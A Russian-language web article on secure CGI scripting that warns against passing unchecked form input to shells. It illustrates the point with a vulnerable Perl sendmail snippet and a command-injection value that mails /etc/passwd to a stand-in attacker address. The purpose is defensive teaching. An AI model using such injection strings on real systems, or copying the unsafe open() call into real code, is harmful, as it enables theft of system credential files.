Защита сайтов

       

Написание безопасных CGI скриптов.


Хотя эта статья прежде всего обращает свое внимание на аспекты безопасности при установке и настройке уже написанных CGI скриптов, также нельзя оставить без внимания основные принципы написания безопасного кода. Ведь, в конце концов, часью работы по установке и настройке включаемого кода является и написание некоторого собственного кода.

Пожалуй, самый лучший источник информации по написанию безопасного CGI кода - это Lincoln Stein's WWW Security FAQ. Скажем так, что вы не должны браться за написание или установку CGI скриптов, если вы полностью не прочитали вышеупомямутый FAQ. Но, тем не менее, приведем некоторые особо важные моменты, на которые стоит обратить внимание при написании CGI скриптов.

Никогда, никогда не допускайте непроверенных данных, переданных удаленным пользователем командной оболочке.

На языке С команды popen() и system() включают в себя вызов подоболочки (subshell) /bin/sh чтобы обработать команду. В Perl это функции system(), exec(), и open(), а так же eval(), которые включают в себя непосредственно вызов интерпретатора языка (Perl). В различных оболочках такими полномочиями обладают функции типа exec и eval.

Обратные ковычки, доступные в интерпретаторах оболочек и Perl для фиксации вывода программ как текстовых строк, также представляют опасность.

Причину такого параноидального поведения можно проиллюстрировать на примере Perl-кода, который посылает адресату информацию введенную, например, пользователем в форму. Текст кода, по началу, кажется безобидным:

$mail_to = &get_name_from_input; # read the address from form open (MAIL,"| /usr/lib/sendmail $mail_to"); print MAIL "To: $mailto\nFrom: me\n\nHi there!\n"; close MAIL;

Проблема заключается в том, что автор кода изначально предполягает, что пользователь введет в форму нужную информацию, т.е. e-mail адресата и переменная $mail_to будет содержать безопасную информацию. Но что произойдет если хитрый хакер введет в поле e-mail адреса следующую строку:

nobody@nowhere.com; mail sbadguys@hell.org</etc/passwd;

Команда open() выполнит следующие команды:

/usr/lib/sendmail nobody@nowhere.com mail badguys@hell.org</etc/passwd

Таким образом файл /etc/passwd, содержащий пароли системы, будет выслан на e-mail хакера, который попытается использовать его для атаки вашей системы.

Другую информацию по CGI безопасности можно получить по адресу:



Содержание раздела